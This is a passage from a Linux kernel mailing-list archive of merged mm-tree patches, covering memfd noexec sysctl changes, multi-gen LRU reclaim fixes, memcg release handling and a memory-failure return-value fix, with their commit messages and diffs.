@@ -39,7 +39,6 @@ struct pid_namespace {
int reboot; /* group exit code if this pidns was rebooted */
struct ns_common ns;
#if defined(CONFIG_SYSCTL) && defined(CONFIG_MEMFD_CREATE)
- /* sysctl for vm.memfd_noexec */
int memfd_noexec_scope;
#endif
} __randomize_layout;
@@ -56,6 +55,23 @@ static inline struct pid_namespace *get_
return ns;
}
+#if defined(CONFIG_SYSCTL) && defined(CONFIG_MEMFD_CREATE)
+static inline int pidns_memfd_noexec_scope(struct pid_namespace *ns)
+{
+ int scope = MEMFD_NOEXEC_SCOPE_EXEC;
+
+ for (; ns; ns = ns->parent)
+ scope = max(scope, READ_ONCE(ns->memfd_noexec_scope));
+
+ return scope;
+}
+#else
+static inline int pidns_memfd_noexec_scope(struct pid_namespace *ns)
+{
+ return 0;
+}
+#endif
+
extern struct pid_namespace *copy_pid_ns(unsigned long flags,
struct user_namespace *user_ns, struct pid_namespace *ns);
extern void zap_pid_ns_processes(struct pid_namespace *pid_ns);
@@ -70,6 +86,11 @@ static inline struct pid_namespace *get_
return ns;
}
+static inline int pidns_memfd_noexec_scope(struct pid_namespace *ns)
+{
+ return 0;
+}
+
static inline struct pid_namespace *copy_pid_ns(unsigned long flags,
struct user_namespace *user_ns, struct pid_namespace *ns)
{
--- a/kernel/pid.c~memfd-replace-ratcheting-feature-from-vmmemfd_noexec-with-hierarchy
+++ a/kernel/pid.c
@@ -83,6 +83,9 @@ struct pid_namespace init_pid_ns = {
#ifdef CONFIG_PID_NS
.ns.ops = &pidns_operations,
#endif
+#if defined(CONFIG_SYSCTL) && defined(CONFIG_MEMFD_CREATE)
+ .memfd_noexec_scope = MEMFD_NOEXEC_SCOPE_EXEC,
+#endif
};
EXPORT_SYMBOL_GPL(init_pid_ns);
--- a/kernel/pid_namespace.c~memfd-replace-ratcheting-feature-from-vmmemfd_noexec-with-hierarchy
+++ a/kernel/pid_namespace.c
@@ -110,9 +110,9 @@ static struct pid_namespace *create_pid_
ns->user_ns = get_user_ns(user_ns);
ns->ucounts = ucounts;
ns->pid_allocated = PIDNS_ADDING;
-
- initialize_memfd_noexec_scope(ns);
-
+#if defined(CONFIG_SYSCTL) && defined(CONFIG_MEMFD_CREATE)
+ ns->memfd_noexec_scope = pidns_memfd_noexec_scope(parent_pid_ns);
+#endif
return ns;
out_free_idr:
--- a/kernel/pid_sysctl.h~memfd-replace-ratcheting-feature-from-vmmemfd_noexec-with-hierarchy
+++ a/kernel/pid_sysctl.h
@@ -5,33 +5,30 @@
#include <linux/pid_namespace.h>
#if defined(CONFIG_SYSCTL) && defined(CONFIG_MEMFD_CREATE)
-static inline void initialize_memfd_noexec_scope(struct pid_namespace *ns)
-{
- ns->memfd_noexec_scope =
- task_active_pid_ns(current)->memfd_noexec_scope;
-}
-
static int pid_mfd_noexec_dointvec_minmax(struct ctl_table *table,
int write, void *buf, size_t *lenp, loff_t *ppos)
{
struct pid_namespace *ns = task_active_pid_ns(current);
struct ctl_table table_copy;
+ int err, scope, parent_scope;
if (write && !ns_capable(ns->user_ns, CAP_SYS_ADMIN))
return -EPERM;
table_copy = *table;
- if (ns != &init_pid_ns)
- table_copy.data = &ns->memfd_noexec_scope;
-
- /*
- * set minimum to current value, the effect is only bigger
- * value is accepted.
- */
- if (*(int *)table_copy.data > *(int *)table_copy.extra1)
- table_copy.extra1 = table_copy.data;
- return proc_dointvec_minmax(&table_copy, write, buf, lenp, ppos);
+ /* You cannot set a lower enforcement value than your parent. */
+ parent_scope = pidns_memfd_noexec_scope(ns->parent);
+ /* Equivalent to pidns_memfd_noexec_scope(ns). */
+ scope = max(READ_ONCE(ns->memfd_noexec_scope), parent_scope);
+
+ table_copy.data = &scope;
+ table_copy.extra1 = &parent_scope;
+
+ err = proc_dointvec_minmax(&table_copy, write, buf, lenp, ppos);
+ if (!err && write)
+ WRITE_ONCE(ns->memfd_noexec_scope, scope);
+ return err;
}
static struct ctl_table pid_ns_ctl_table_vm[] = {
@@ -51,7 +48,6 @@ static inline void register_pid_ns_sysct
register_sysctl("vm", pid_ns_ctl_table_vm);
}
#else
-static inline void initialize_memfd_noexec_scope(struct pid_namespace *ns) {}
static inline void register_pid_ns_sysctl_table_vm(void) {}
#endif
--- a/mm/memfd.c~memfd-replace-ratcheting-feature-from-vmmemfd_noexec-with-hierarchy
+++ a/mm/memfd.c
@@ -271,7 +271,8 @@ long memfd_fcntl(struct file *file, unsi
static int check_sysctl_memfd_noexec(unsigned int *flags)
{
#ifdef CONFIG_SYSCTL
- int sysctl = task_active_pid_ns(current)->memfd_noexec_scope;
+ struct pid_namespace *ns = task_active_pid_ns(current);
+ int sysctl = pidns_memfd_noexec_scope(ns);
if (!(*flags & (MFD_EXEC | MFD_NOEXEC_SEAL))) {
if (sysctl >= MEMFD_NOEXEC_SCOPE_NOEXEC_SEAL)
_
Patches currently in -mm which might be from cyphar(a)cyphar.com are
2 years, 4 months
- 1
- 0
[merged mm-stable] memfd-improve-userspace-warnings-for-missing-exec-related-flags.patch removed from -mm tree
by Andrew Morton
The quilt patch titled
Subject: memfd: improve userspace warnings for missing exec-related flags
has been removed from the -mm tree. Its filename was
memfd-improve-userspace-warnings-for-missing-exec-related-flags.patch
This patch was dropped because it was merged into the mm-stable branch
of git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
------------------------------------------------------
From: Aleksa Sarai <cyphar(a)cyphar.com>
Subject: memfd: improve userspace warnings for missing exec-related flags
Date: Mon, 14 Aug 2023 18:40:59 +1000
In order to incentivise userspace to switch to passing MFD_EXEC and
MFD_NOEXEC_SEAL, we need to provide a warning on each attempt to call
memfd_create() without the new flags. pr_warn_once() is not useful
because on most systems the one warning is burned up during the boot
process (on my system, systemd does this within the first second of boot)
and thus userspace will in practice never see the warnings to push them to
switch to the new flags.
The original patchset[1] used pr_warn_ratelimited(), however there were
concerns about the degree of spam in the kernel log[2,3]. The resulting
inability to detect every case was flagged as an issue at the time[4].
While we could come up with an alternative rate-limiting scheme such as
only outputting the message if vm.memfd_noexec has been modified, or only
outputting the message once for a given task, these alternatives have
downsides that don't make sense given how low-stakes a single kernel
warning message is. Switching to pr_info_ratelimited() instead should be
fine -- it's possible some monitoring tool will be unhappy with a stream
of warning-level messages but there's already plenty of info-level message
spam in dmesg.
[1]: https://lore.kernel.org/20221215001205.51969-4-jeffxu@google.com/
[2]: https://lore.kernel.org/202212161233.85C9783FB@keescook/
[3]: https://lore.kernel.org/Y5yS8wCnuYGLHMj4@x1n/
[4]: https://lore.kernel.org/f185bb42-b29c-977e-312e-3349eea15383@linuxfoundatio…
Link: https://lkml.kernel.org/r/20230814-memfd-vm-noexec-uapi-fixes-v2-3-7ff9e3e1…
Fixes: 105ff5339f49 ("mm/memfd: add MFD_NOEXEC_SEAL and MFD_EXEC")
Signed-off-by: Aleksa Sarai <cyphar(a)cyphar.com>
Cc: Christian Brauner <brauner(a)kernel.org>
Cc: Daniel Verkamp <dverkamp(a)chromium.org>
Cc: Dominique Martinet <asmadeus(a)codewreck.org>
Cc: Kees Cook <keescook(a)chromium.org>
Cc: Shuah Khan <shuah(a)kernel.org>
Cc: <stable(a)vger.kernel.org>
Signed-off-by: Andrew Morton <akpm(a)linux-foundation.org>
---
mm/memfd.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--- a/mm/memfd.c~memfd-improve-userspace-warnings-for-missing-exec-related-flags
+++ a/mm/memfd.c
@@ -315,7 +315,7 @@ SYSCALL_DEFINE2(memfd_create,
return -EINVAL;
if (!(flags & (MFD_EXEC | MFD_NOEXEC_SEAL))) {
- pr_warn_once(
+ pr_info_ratelimited(
"%s[%d]: memfd_create() called without MFD_EXEC or MFD_NOEXEC_SEAL set\n",
current->comm, task_pid_nr(current));
}
_
Patches currently in -mm which might be from cyphar(a)cyphar.com are
2 years, 4 months
- 1
- 0
[merged mm-stable] memfd-do-not-eacces-old-memfd_create-users-with-vmmemfd_noexec=2.patch removed from -mm tree
by Andrew Morton
The quilt patch titled
Subject: memfd: do not -EACCES old memfd_create() users with vm.memfd_noexec=2
has been removed from the -mm tree. Its filename was
memfd-do-not-eacces-old-memfd_create-users-with-vmmemfd_noexec=2.patch
This patch was dropped because it was merged into the mm-stable branch
of git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
------------------------------------------------------
From: Aleksa Sarai <cyphar(a)cyphar.com>
Subject: memfd: do not -EACCES old memfd_create() users with vm.memfd_noexec=2
Date: Mon, 14 Aug 2023 18:40:58 +1000
Given the difficulty of auditing all of userspace to figure out whether
every memfd_create() user has switched to passing MFD_EXEC and
MFD_NOEXEC_SEAL flags, it seems far less distruptive to make it possible
for older programs that don't make use of executable memfds to run under
vm.memfd_noexec=2. Otherwise, a small dependency change can result in
spurious errors. For programs that don't use executable memfds, passing
MFD_NOEXEC_SEAL is functionally a no-op and thus having the same
In addition, every failure under vm.memfd_noexec=2 needs to print to the
kernel log so that userspace can figure out where the error came from.
The concerns about pr_warn_ratelimited() spam that caused the switch to
pr_warn_once()[1,2] do not apply to the vm.memfd_noexec=2 case.
This is a user-visible API change, but as it allows programs to do
something that would be blocked before, and the sysctl itself was broken
and recently released, it seems unlikely this will cause any issues.
[1]: https://lore.kernel.org/Y5yS8wCnuYGLHMj4@x1n/
[2]: https://lore.kernel.org/202212161233.85C9783FB@keescook/
Link: https://lkml.kernel.org/r/20230814-memfd-vm-noexec-uapi-fixes-v2-2-7ff9e3e1…
Fixes: 105ff5339f49 ("mm/memfd: add MFD_NOEXEC_SEAL and MFD_EXEC")
Signed-off-by: Aleksa Sarai <cyphar(a)cyphar.com>
Cc: Dominique Martinet <asmadeus(a)codewreck.org>
Cc: Christian Brauner <brauner(a)kernel.org>
Cc: Daniel Verkamp <dverkamp(a)chromium.org>
Cc: Jeff Xu <jeffxu(a)google.com>
Cc: Kees Cook <keescook(a)chromium.org>
Cc: Shuah Khan <shuah(a)kernel.org>
Cc: <stable(a)vger.kernel.org>
Signed-off-by: Andrew Morton <akpm(a)linux-foundation.org>
---
include/linux/pid_namespace.h | 16 ++--------
mm/memfd.c | 30 ++++++-------------
tools/testing/selftests/memfd/memfd_test.c | 22 ++++++++++---
3 files changed, 32 insertions(+), 36 deletions(-)
--- a/include/linux/pid_namespace.h~memfd-do-not-eacces-old-memfd_create-users-with-vmmemfd_noexec=2
+++ a/include/linux/pid_namespace.h
@@ -17,18 +17,10 @@
struct fs_pin;
#if defined(CONFIG_SYSCTL) && defined(CONFIG_MEMFD_CREATE)
-/*
- * sysctl for vm.memfd_noexec
- * 0: memfd_create() without MFD_EXEC nor MFD_NOEXEC_SEAL
- * acts like MFD_EXEC was set.
- * 1: memfd_create() without MFD_EXEC nor MFD_NOEXEC_SEAL
- * acts like MFD_NOEXEC_SEAL was set.
- * 2: memfd_create() without MFD_NOEXEC_SEAL will be
- * rejected.
- */
-#define MEMFD_NOEXEC_SCOPE_EXEC 0
-#define MEMFD_NOEXEC_SCOPE_NOEXEC_SEAL 1
-#define MEMFD_NOEXEC_SCOPE_NOEXEC_ENFORCED 2
+/* modes for vm.memfd_noexec sysctl */
+#define MEMFD_NOEXEC_SCOPE_EXEC 0 /* MFD_EXEC implied if unset */
+#define MEMFD_NOEXEC_SCOPE_NOEXEC_SEAL 1 /* MFD_NOEXEC_SEAL implied if unset */
+#define MEMFD_NOEXEC_SCOPE_NOEXEC_ENFORCED 2 /* same as 1, except MFD_EXEC rejected */
#endif
struct pid_namespace {
--- a/mm/memfd.c~memfd-do-not-eacces-old-memfd_create-users-with-vmmemfd_noexec=2
+++ a/mm/memfd.c
@@ -271,30 +271,22 @@ long memfd_fcntl(struct file *file, unsi
static int check_sysctl_memfd_noexec(unsigned int *flags)
{
#ifdef CONFIG_SYSCTL
- char comm[TASK_COMM_LEN];
- int sysctl = MEMFD_NOEXEC_SCOPE_EXEC;
- struct pid_namespace *ns;
-
- ns = task_active_pid_ns(current);
- if (ns)
- sysctl = ns->memfd_noexec_scope;
+ int sysctl = task_active_pid_ns(current)->memfd_noexec_scope;
if (!(*flags & (MFD_EXEC | MFD_NOEXEC_SEAL))) {
- if (sysctl == MEMFD_NOEXEC_SCOPE_NOEXEC_SEAL)
+ if (sysctl >= MEMFD_NOEXEC_SCOPE_NOEXEC_SEAL)
*flags |= MFD_NOEXEC_SEAL;
else
*flags |= MFD_EXEC;
}
- if (*flags & MFD_EXEC && sysctl >= MEMFD_NOEXEC_SCOPE_NOEXEC_ENFORCED) {
- pr_warn_once(
- "memfd_create(): MFD_NOEXEC_SEAL is enforced, pid=%d '%s'\n",
- task_pid_nr(current), get_task_comm(comm, current));
-
+ if (!(*flags & MFD_NOEXEC_SEAL) && sysctl >= MEMFD_NOEXEC_SCOPE_NOEXEC_ENFORCED) {
+ pr_err_ratelimited(
+ "%s[%d]: memfd_create() requires MFD_NOEXEC_SEAL with vm.memfd_noexec=%d\n",
+ current->comm, task_pid_nr(current), sysctl);
return -EACCES;
}
#endif
-
return 0;
}
@@ -302,7 +294,6 @@ SYSCALL_DEFINE2(memfd_create,
const char __user *, uname,
unsigned int, flags)
{
- char comm[TASK_COMM_LEN];
unsigned int *file_seals;
struct file *file;
int fd, error;
@@ -325,12 +316,13 @@ SYSCALL_DEFINE2(memfd_create,
if (!(flags & (MFD_EXEC | MFD_NOEXEC_SEAL))) {
pr_warn_once(
- "memfd_create() without MFD_EXEC nor MFD_NOEXEC_SEAL, pid=%d '%s'\n",
- task_pid_nr(current), get_task_comm(comm, current));
+ "%s[%d]: memfd_create() called without MFD_EXEC or MFD_NOEXEC_SEAL set\n",
+ current->comm, task_pid_nr(current));
}
- if (check_sysctl_memfd_noexec(&flags) < 0)
- return -EACCES;
+ error = check_sysctl_memfd_noexec(&flags);
+ if (error < 0)
+ return error;
/* length includes terminating zero */
len = strnlen_user(uname, MFD_NAME_MAX_LEN + 1);
--- a/tools/testing/selftests/memfd/memfd_test.c~memfd-do-not-eacces-old-memfd_create-users-with-vmmemfd_noexec=2
+++ a/tools/testing/selftests/memfd/memfd_test.c
@@ -1145,11 +1145,23 @@ static void test_sysctl_child(void)
printf("%s sysctl 2\n", memfd_str);
sysctl_assert_write("2");
- mfd_fail_new("kern_memfd_sysctl_2",
- MFD_CLOEXEC | MFD_ALLOW_SEALING);
- mfd_fail_new("kern_memfd_sysctl_2_MFD_EXEC",
- MFD_CLOEXEC | MFD_EXEC);
- fd = mfd_assert_new("", 0, MFD_NOEXEC_SEAL);
+ mfd_fail_new("kern_memfd_sysctl_2_exec",
+ MFD_EXEC | MFD_CLOEXEC | MFD_ALLOW_SEALING);
+
+ fd = mfd_assert_new("kern_memfd_sysctl_2_dfl",
+ mfd_def_size,
+ MFD_CLOEXEC | MFD_ALLOW_SEALING);
+ mfd_assert_mode(fd, 0666);
+ mfd_assert_has_seals(fd, F_SEAL_EXEC);
+ mfd_fail_chmod(fd, 0777);
+ close(fd);
+
+ fd = mfd_assert_new("kern_memfd_sysctl_2_noexec_seal",
+ mfd_def_size,
+ MFD_NOEXEC_SEAL | MFD_CLOEXEC | MFD_ALLOW_SEALING);
+ mfd_assert_mode(fd, 0666);
+ mfd_assert_has_seals(fd, F_SEAL_EXEC);
+ mfd_fail_chmod(fd, 0777);
close(fd);
sysctl_fail_write("0");
_
Patches currently in -mm which might be from cyphar(a)cyphar.com are
2 years, 4 months
- 1
- 0
[merged mm-stable] mm-unstable-multi-gen-lru-avoid-race-in-inc_min_seq.patch removed from -mm tree
by Andrew Morton
The quilt patch titled
Subject: Multi-gen LRU: avoid race in inc_min_seq()
has been removed from the -mm tree. Its filename was
mm-unstable-multi-gen-lru-avoid-race-in-inc_min_seq.patch
This patch was dropped because it was merged into the mm-stable branch
of git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
------------------------------------------------------
From: Kalesh Singh <kaleshsingh(a)google.com>
Subject: Multi-gen LRU: avoid race in inc_min_seq()
Date: Tue, 1 Aug 2023 19:56:03 -0700
inc_max_seq() will try to inc_min_seq() if nr_gens == MAX_NR_GENS. This
is because the generations are reused (the last oldest now empty
generation will become the next youngest generation).
inc_min_seq() is retried until successful, dropping the lru_lock
and yielding the CPU on each failure, and retaking the lock before
trying again:
while (!inc_min_seq(lruvec, type, can_swap)) {
spin_unlock_irq(&lruvec->lru_lock);
cond_resched();
spin_lock_irq(&lruvec->lru_lock);
}
However, the initial condition that required incrementing the min_seq
(nr_gens == MAX_NR_GENS) is not retested. This can change by another
call to inc_max_seq() from run_aging() with force_scan=true from the
debugfs interface.
Since the eviction stalls when the nr_gens == MIN_NR_GENS, avoid
unnecessarily incrementing the min_seq by rechecking the number of
generations before each attempt.
This issue was uncovered in previous discussion on the list by Yu Zhao
and Aneesh Kumar [1].
[1] https://lore.kernel.org/linux-mm/CAOUHufbO7CaVm=xjEb1avDhHVvnC8pJmGyKcFf2iY…
Link: https://lkml.kernel.org/r/20230802025606.346758-2-kaleshsingh@google.com
Fixes: d6c3af7d8a2b ("mm: multi-gen LRU: debugfs interface")
Signed-off-by: Kalesh Singh <kaleshsingh(a)google.com>
Tested-by: AngeloGioacchino Del Regno <angelogioacchino.delregno(a)collabora.com> [mediatek]
Tested-by: Charan Teja Kalla <quic_charante(a)quicinc.com>
Cc: Yu Zhao <yuzhao(a)google.com>
Cc: Aneesh Kumar K V <aneesh.kumar(a)linux.ibm.com>
Cc: Barry Song <baohua(a)kernel.org>
Cc: Brian Geffon <bgeffon(a)google.com>
Cc: Jan Alexander Steffens (heftig) <heftig(a)archlinux.org>
Cc: Lecopzer Chen <lecopzer.chen(a)mediatek.com>
Cc: Matthias Brugger <matthias.bgg(a)gmail.com>
Cc: Oleksandr Natalenko <oleksandr(a)natalenko.name>
Cc: Qi Zheng <zhengqi.arch(a)bytedance.com>
Cc: Steven Barrett <steven(a)liquorix.net>
Cc: Suleiman Souhlal <suleiman(a)google.com>
Cc: Suren Baghdasaryan <surenb(a)google.com>
Cc: <stable(a)vger.kernel.org>
Signed-off-by: Andrew Morton <akpm(a)linux-foundation.org>
---
mm/vmscan.c | 13 +++++++------
1 file changed, 7 insertions(+), 6 deletions(-)
--- a/mm/vmscan.c~mm-unstable-multi-gen-lru-avoid-race-in-inc_min_seq
+++ a/mm/vmscan.c
@@ -4439,7 +4439,7 @@ static void inc_max_seq(struct lruvec *l
int prev, next;
int type, zone;
struct lru_gen_folio *lrugen = &lruvec->lrugen;
-
+restart:
spin_lock_irq(&lruvec->lru_lock);
VM_WARN_ON_ONCE(!seq_is_valid(lruvec));
@@ -4450,11 +4450,12 @@ static void inc_max_seq(struct lruvec *l
VM_WARN_ON_ONCE(!force_scan && (type == LRU_GEN_FILE || can_swap));
- while (!inc_min_seq(lruvec, type, can_swap)) {
- spin_unlock_irq(&lruvec->lru_lock);
- cond_resched();
- spin_lock_irq(&lruvec->lru_lock);
- }
+ if (inc_min_seq(lruvec, type, can_swap))
+ continue;
+
+ spin_unlock_irq(&lruvec->lru_lock);
+ cond_resched();
+ goto restart;
}
/*
_
Patches currently in -mm which might be from kaleshsingh(a)google.com are
2 years, 4 months
- 1
- 0
[merged mm-stable] mm-unstable-multi-gen-lru-fix-per-zone-reclaim.patch removed from -mm tree
by Andrew Morton
The quilt patch titled
Subject: Multi-gen LRU: fix per-zone reclaim
has been removed from the -mm tree. Its filename was
mm-unstable-multi-gen-lru-fix-per-zone-reclaim.patch
This patch was dropped because it was merged into the mm-stable branch
of git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
------------------------------------------------------
From: Kalesh Singh <kaleshsingh(a)google.com>
Subject: Multi-gen LRU: fix per-zone reclaim
Date: Tue, 1 Aug 2023 19:56:02 -0700
MGLRU has a LRU list for each zone for each type (anon/file) in each
generation:
long nr_pages[MAX_NR_GENS][ANON_AND_FILE][MAX_NR_ZONES];
The min_seq (oldest generation) can progress independently for each
type but the max_seq (youngest generation) is shared for both anon and
file. This is to maintain a common frame of reference.
In order for eviction to advance the min_seq of a type, all the per-zone
lists in the oldest generation of that type must be empty.
The eviction logic only considers pages from eligible zones for
eviction or promotion.
scan_folios() {
...
for (zone = sc->reclaim_idx; zone >= 0; zone--) {
...
sort_folio(); // Promote
...
isolate_folio(); // Evict
}
...
}
Consider the system has the movable zone configured and default 4
generations. The current state of the system is as shown below
(only illustrating one type for simplicity):
Type: ANON
Zone DMA32 Normal Movable Device
Gen 0 0 0 4GB 0
Gen 1 0 1GB 1MB 0
Gen 2 1MB 4GB 1MB 0
Gen 3 1MB 1MB 1MB 0
Now consider there is a GFP_KERNEL allocation request (eligible zone
index <= Normal), evict_folios() will return without doing any work
since there are no pages to scan in the eligible zones of the oldest
generation. Reclaim won't make progress until triggered from a ZONE_MOVABLE
allocation request; which may not happen soon if there is a lot of free
memory in the movable zone. This can lead to OOM kills, although there
is 1GB pages in the Normal zone of Gen 1 that we have not yet tried to
reclaim.
This issue is not seen in the conventional active/inactive LRU since
there are no per-zone lists.
If there are no (not enough) folios to scan in the eligible zones, move
folios from ineligible zone (zone_index > reclaim_index) to the next
generation. This allows for the progression of min_seq and reclaiming
from the next generation (Gen 1).
Qualcomm, Mediatek and raspberrypi [1] discovered this issue independently.
[1] https://github.com/raspberrypi/linux/issues/5395
Link: https://lkml.kernel.org/r/20230802025606.346758-1-kaleshsingh@google.com
Fixes: ac35a4902374 ("mm: multi-gen LRU: minimal implementation")
Signed-off-by: Kalesh Singh <kaleshsingh(a)google.com>
Reported-by: Charan Teja Kalla <quic_charante(a)quicinc.com>
Reported-by: Lecopzer Chen <lecopzer.chen(a)mediatek.com>
Tested-by: AngeloGioacchino Del Regno <angelogioacchino.delregno(a)collabora.com> [mediatek]
Tested-by: Charan Teja Kalla <quic_charante(a)quicinc.com>
Cc: Yu Zhao <yuzhao(a)google.com>
Cc: Barry Song <baohua(a)kernel.org>
Cc: Brian Geffon <bgeffon(a)google.com>
Cc: Jan Alexander Steffens (heftig) <heftig(a)archlinux.org>
Cc: Matthias Brugger <matthias.bgg(a)gmail.com>
Cc: Oleksandr Natalenko <oleksandr(a)natalenko.name>
Cc: Qi Zheng <zhengqi.arch(a)bytedance.com>
Cc: Steven Barrett <steven(a)liquorix.net>
Cc: Suleiman Souhlal <suleiman(a)google.com>
Cc: Suren Baghdasaryan <surenb(a)google.com>
Cc: Aneesh Kumar K V <aneesh.kumar(a)linux.ibm.com>
Cc: <stable(a)vger.kernel.org>
Signed-off-by: Andrew Morton <akpm(a)linux-foundation.org>
---
mm/vmscan.c | 18 ++++++++++++++----
1 file changed, 14 insertions(+), 4 deletions(-)
--- a/mm/vmscan.c~mm-unstable-multi-gen-lru-fix-per-zone-reclaim
+++ a/mm/vmscan.c
@@ -4889,7 +4889,8 @@ static int lru_gen_memcg_seg(struct lruv
* the eviction
******************************************************************************/
-static bool sort_folio(struct lruvec *lruvec, struct folio *folio, int tier_idx)
+static bool sort_folio(struct lruvec *lruvec, struct folio *folio, struct scan_control *sc,
+ int tier_idx)
{
bool success;
int gen = folio_lru_gen(folio);
@@ -4939,6 +4940,13 @@ static bool sort_folio(struct lruvec *lr
return true;
}
+ /* ineligible */
+ if (zone > sc->reclaim_idx) {
+ gen = folio_inc_gen(lruvec, folio, false);
+ list_move_tail(&folio->lru, &lrugen->folios[gen][type][zone]);
+ return true;
+ }
+
/* waiting for writeback */
if (folio_test_locked(folio) || folio_test_writeback(folio) ||
(type == LRU_GEN_FILE && folio_test_dirty(folio))) {
@@ -4987,7 +4995,8 @@ static bool isolate_folio(struct lruvec
static int scan_folios(struct lruvec *lruvec, struct scan_control *sc,
int type, int tier, struct list_head *list)
{
- int gen, zone;
+ int i;
+ int gen;
enum vm_event_item item;
int sorted = 0;
int scanned = 0;
@@ -5003,9 +5012,10 @@ static int scan_folios(struct lruvec *lr
gen = lru_gen_from_seq(lrugen->min_seq[type]);
- for (zone = sc->reclaim_idx; zone >= 0; zone--) {
+ for (i = MAX_NR_ZONES; i > 0; i--) {
LIST_HEAD(moved);
int skipped = 0;
+ int zone = (sc->reclaim_idx + i) % MAX_NR_ZONES;
struct list_head *head = &lrugen->folios[gen][type][zone];
while (!list_empty(head)) {
@@ -5019,7 +5029,7 @@ static int scan_folios(struct lruvec *lr
scanned += delta;
- if (sort_folio(lruvec, folio, tier))
+ if (sort_folio(lruvec, folio, sc, tier))
sorted += delta;
else if (isolate_folio(lruvec, folio, sc)) {
list_add(&folio->lru, list);
_
Patches currently in -mm which might be from kaleshsingh(a)google.com are
2 years, 4 months
- 1
- 0
[merged mm-hotfixes-stable] mm-multi-gen-lru-dont-spin-during-memcg-release.patch removed from -mm tree
by Andrew Morton
The quilt patch titled
Subject: mm: multi-gen LRU: don't spin during memcg release
has been removed from the -mm tree. Its filename was
mm-multi-gen-lru-dont-spin-during-memcg-release.patch
This patch was dropped because it was merged into the mm-hotfixes-stable branch
of git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
------------------------------------------------------
From: "T.J. Mercier" <tjmercier(a)google.com>
Subject: mm: multi-gen LRU: don't spin during memcg release
Date: Mon, 14 Aug 2023 15:16:36 +0000
When a memcg is in the process of being released mem_cgroup_tryget will
fail because its reference count has already reached 0. This can happen
during reclaim if the memcg has already been offlined, and we reclaim all
remaining pages attributed to the offlined memcg. shrink_many attempts to
skip the empty memcg in this case, and continue reclaiming from the
remaining memcgs in the old generation. If there is only one memcg
remaining, or if all remaining memcgs are in the process of being released
then shrink_many will spin until all memcgs have finished being released.
The release occurs through a workqueue, so it can take a while before
kswapd is able to make any further progress.
This fix results in reductions in kswapd activity and direct reclaim in
a test where 28 apps (working set size > total memory) are repeatedly
launched in a random sequence:
A B delta ratio(%)
allocstall_movable 5962 3539 -2423 -40.64
allocstall_normal 2661 2417 -244 -9.17
kswapd_high_wmark_hit_quickly 53152 7594 -45558 -85.71
pageoutrun 57365 11750 -45615 -79.52
Link: https://lkml.kernel.org/r/20230814151636.1639123-1-tjmercier@google.com
Fixes: e4dde56cd208 ("mm: multi-gen LRU: per-node lru_gen_folio lists")
Signed-off-by: T.J. Mercier <tjmercier(a)google.com>
Acked-by: Yu Zhao <yuzhao(a)google.com>
Cc: <stable(a)vger.kernel.org>
Signed-off-by: Andrew Morton <akpm(a)linux-foundation.org>
---
mm/vmscan.c | 13 ++++++++-----
1 file changed, 8 insertions(+), 5 deletions(-)
--- a/mm/vmscan.c~mm-multi-gen-lru-dont-spin-during-memcg-release
+++ a/mm/vmscan.c
@@ -4854,16 +4854,17 @@ void lru_gen_release_memcg(struct mem_cg
spin_lock_irq(&pgdat->memcg_lru.lock);
- VM_WARN_ON_ONCE(hlist_nulls_unhashed(&lruvec->lrugen.list));
+ if (hlist_nulls_unhashed(&lruvec->lrugen.list))
+ goto unlock;
gen = lruvec->lrugen.gen;
- hlist_nulls_del_rcu(&lruvec->lrugen.list);
+ hlist_nulls_del_init_rcu(&lruvec->lrugen.list);
pgdat->memcg_lru.nr_memcgs[gen]--;
if (!pgdat->memcg_lru.nr_memcgs[gen] && gen == get_memcg_gen(pgdat->memcg_lru.seq))
WRITE_ONCE(pgdat->memcg_lru.seq, pgdat->memcg_lru.seq + 1);
-
+unlock:
spin_unlock_irq(&pgdat->memcg_lru.lock);
}
}
@@ -5435,8 +5436,10 @@ restart:
rcu_read_lock();
hlist_nulls_for_each_entry_rcu(lrugen, pos, &pgdat->memcg_lru.fifo[gen][bin], list) {
- if (op)
+ if (op) {
lru_gen_rotate_memcg(lruvec, op);
+ op = 0;
+ }
mem_cgroup_put(memcg);
@@ -5444,7 +5447,7 @@ restart:
memcg = lruvec_memcg(lruvec);
if (!mem_cgroup_tryget(memcg)) {
- op = 0;
+ lru_gen_release_memcg(memcg);
memcg = NULL;
continue;
}
_
Patches currently in -mm which might be from tjmercier(a)google.com are
2 years, 4 months
- 1
- 0
[merged mm-hotfixes-stable] mm-memory-failure-fix-unexpected-return-value-in-soft_offline_page.patch removed from -mm tree
by Andrew Morton
The quilt patch titled
Subject: mm: memory-failure: fix unexpected return value in soft_offline_page()
has been removed from the -mm tree. Its filename was
mm-memory-failure-fix-unexpected-return-value-in-soft_offline_page.patch
This patch was dropped because it was merged into the mm-hotfixes-stable branch
of git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
------------------------------------------------------
From: Miaohe Lin <linmiaohe(a)huawei.com>
Subject: mm: memory-failure: fix unexpected return value in soft_offline_page()
Date: Tue, 27 Jun 2023 19:28:08 +0800
When page_handle_poison() fails to handle the hugepage or free page in
retry path, soft_offline_page() will return 0 while -EBUSY is expected in
this case.
Consequently the user will think soft_offline_page succeeds while it in
fact failed. So the user will not try again later in this case.
Link: https://lkml.kernel.org/r/20230627112808.1275241-1-linmiaohe@huawei.com
Fixes: b94e02822deb ("mm,hwpoison: try to narrow window race for free pages")
Signed-off-by: Miaohe Lin <linmiaohe(a)huawei.com>
Acked-by: Naoya Horiguchi <naoya.horiguchi(a)nec.com>
Cc: <stable(a)vger.kernel.org>
Signed-off-by: Andrew Morton <akpm(a)linux-foundation.org>
---
mm/memory-failure.c | 11 +++++++----
1 file changed, 7 insertions(+), 4 deletions(-)
--- a/mm/memory-failure.c~mm-memory-failure-fix-unexpected-return-value-in-soft_offline_page
+++ a/mm/memory-failure.c
@@ -2741,10 +2741,13 @@ retry:
if (ret > 0) {
ret = soft_offline_in_use_page(page);
} else if (ret == 0) {
- if (!page_handle_poison(page, true, false) && try_again) {
- try_again = false;
- flags &= ~MF_COUNT_INCREASED;
- goto retry;
+ if (!page_handle_poison(page, true, false)) {
+ if (try_again) {
+ try_again = false;
+ flags &= ~MF_COUNT_INCREASED;
+ goto retry;
+ }
+ ret = -EBUSY;
}
}
_
Patches currently in -mm which might be from linmiaohe(a)huawei.com are
mm-memory-failure-fix-potential-page-refcnt-leak-in-memory_failure.patch
